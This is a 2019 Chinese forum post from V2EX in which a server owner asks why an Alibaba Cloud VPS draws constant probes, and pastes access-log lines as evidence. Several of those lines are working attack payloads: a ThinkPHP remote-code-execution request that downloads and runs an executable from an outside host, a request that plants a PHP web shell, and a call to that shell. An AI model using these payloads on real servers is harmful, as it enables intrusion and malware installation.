V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
通过以下 Referral 链接购买 DigitalOcean 主机,你将可以帮助 V2EX 持续发展
DigitalOcean - SSD Cloud Servers
yyjlincoln
V2EX  ›  VPS

为什么那么多人在尝试破解国内阿里云的 vps?

  •  1
     
  •   yyjlincoln · 2019-07-02 20:44:44 +08:00 · 705 次点击
    这是一个创建于 1955 天前的主题,其中的信息可能已经有所发展或是发生改变。

    每一次打开 log 都能看到很多类似于这样的请求:

    "GET /mysql/admin/index.php?lang=en HTTP/1.1" 302 -

    "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 302 -

    "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 302 -

    "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 302 -

    "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 302 -

    "GET /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/rlbenhicipcezpw29172.exe');start%20%SystemRoot%/Temp/rlbenhicipcezpw29172.exe HTTP/1.1" 302 -

    "GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20$action%20=%20$_GET['xcmd'];system($action);?^>>hydra.php HTTP/1.1" 302 -

    "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/rlbenhicipcezpw29172.exe');start%20%SystemRoot%/Temp/rlbenhicipcezpw29172.exe HTTP/1.1" 302 -

    域名解析设置是境内解析到阿里云,境外解析到 Vultr,而同一域名下 Vultr 的那台机子就没有这些。

    国内的网络环境这么危机四伏的?怕不是开一个月再登数据全丢。

    目前尚无回复
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5583 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 03:14 · PVG 11:14 · LAX 19:14 · JFK 22:14
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.